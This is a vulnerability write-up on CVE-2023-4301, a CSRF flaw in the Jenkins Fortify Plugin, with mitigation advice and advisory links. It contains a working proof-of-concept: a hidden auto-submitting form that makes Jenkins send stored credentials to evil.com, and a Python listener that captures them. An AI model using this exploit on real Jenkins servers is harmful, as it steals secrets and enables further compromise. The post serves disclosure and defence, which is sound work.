CVE CyberSecurity Database News

CVE-2023-4301 - Exploiting CSRF in Jenkins Fortify Plugin to Steal Credentials

Poster -

CVE-2023-4301 describes a critical security weakness in the Jenkins Fortify Plugin (versions 22.1.38 and earlier). This vulnerability makes it possible for an attacker to abuse Cross-Site Request Forgery (CSRF) to trick a logged-in Jenkins user (like an admin) into sending sensitive information—specifically, the credentials stored in Jenkins—to an attacker’s destination.

In this post, I’ll explain how CVE-2023-4301 works, what the potential impacts are, provide code snippets showing how an exploit can be triggered, and direct you to the original advisories. This write-up is written in plain language, specifically for security enthusiasts, pentesters, and sysadmins.

1. What is Jenkins Fortify Plugin?

Jenkins is a widely used open-source automation server for building, testing, and deploying software. Fortify is a security analysis tool by Micro Focus. Jenkins Fortify Plugin integrates Fortify scanning into Jenkins pipelines.

2. What is CVE-2023-4301?

The vulnerability resides in how the Fortify Plugin handles POST requests to certain endpoints. It does not require CSRF protection. This means that an attacker can make the victim's browser trigger a request to Jenkins, using the victim’s valid session (who must be logged into Jenkins at that time).

If the attacker can also guess or previously discover a valid credentials ID (from another vector or insider help, for instance), they can cause Jenkins to connect to an arbitrary URL with those credentials, inadvertently sending plaintext secrets to a machine under the attacker’s control.

In simpler terms: If you’re logged into Jenkins and you click a malicious link, your Jenkins server might leak highly sensitive credentials to an attacker’s server—all without your knowledge.

3. How Does the Exploit Work?

The Jenkins Fortify Plugin exposes endpoints like /descriptorByName/com.fortify.plugin.jenkins.FortifyCloudScanDescriptor/verifyCredentials to validate credentials for Fortify SSC connections. These endpoints are meant to be used via the web configuration, but they don’t check for CSRF tokens.

Victim (already logged into Jenkins) visits the malicious website.

4. Victim’s browser automatically makes a POST request to the vulnerable endpoint, using the credentials ID and an attacker-controlled server URL.

4. Example Exploit Code

Below is a basic proof-of-concept using a hidden HTML form. If an administrator visits the attacker's page while logged in to Jenkins, this form silently submits their stored credentials to the attacker's URL.

Replace http://jenkins.local with your Jenkins URL and abcd1234 with a valid credentials ID. evil.com is attacker’s server.

<!DOCTYPE html>
<html>
  <body>
    <h3>This is harmless. :)</h3>
    <form id="csrf" action="http://jenkins.local/descriptorByName/com.fortify.plugin.jenkins.FortifyCloudScanDescriptor/verifyCredentials" method="POST" target="hide" style="display:none;">
      <input type="text" name="fortifySSCBaseUrl" value="http://evil.com/catchme"; />
      <input type="text" name="fortifySSCCredentialsId" value="abcd1234" />
      <input type="text" name="fortifyTenantId" value="foobar" />
      <input type="submit" />
    </form>
    <iframe style="display:none;" name="hide"></iframe>
    <script>
      document.getElementById('csrf').submit();
    </script>
  </body>
</html>

When the form is submitted, Jenkins receives a POST request as if it came from the legitimate user.

- Jenkins sends a request to http://evil.com/catchme with the Jenkins credentials in HTTP headers or Basic Auth, depending on how Fortify is configured.

On the attacker's server

import http.server

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print(self.headers)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

http.server.HTTPServer(('...', 808), Handler).serve_forever()

This will print any credentials that Jenkins sends to the server.

Credentials Disclosure: Any secrets Jenkins holds (API tokens, passwords, etc.) can be stolen.

- Network Pivot: If Jenkins can make outbound calls to internal systems, an attacker could chain attacks.
- Wider Compromise: If privileged credentials are exposed, the attacker could take over other tools, cloud services, or infrastructure.

Jenkins Fortify Plugin Security Advisory:

https://www.jenkins.io/security/advisory/2023-07-26/#SECURITY-3204

CVE Details:

https://nvd.nist.gov/vuln/detail/CVE-2023-4301

- Plugin Change Log (for fix)

https://plugins.jenkins.io/fortify/

7. How to Mitigate

- Upgrade: Update the Jenkins Fortify Plugin to version 22.1.39 or later. The fix adds CSRF protection.

Restrict Who Has Credentials: Reduce who can see and use credentials in Jenkins.

- Separate Roles: Don’t use the same web browser session for Jenkins admin and for surfing the net or reading emails.

8. Conclusion

CVE-2023-4301 is a textbook example of why CSRF protection is vital in web applications—especially those that manage secrets. If you use Jenkins with Fortify Plugin, patch immediately. Attackers with minimal access can steal critical credentials using nothing more than a clever web page and a little social engineering.

For a deeper dive, consult the official Jenkins advisory.

Stay secure. Update your plugins. Warn your users.

*Written by a security enthusiast for the open-source community. This is an exclusive breakdown uniquely tailored for this platform.*

Timeline

Published on: 08/21/2023 23:15:00 UTC
Last modified on: 08/24/2023 21:36:00 UTC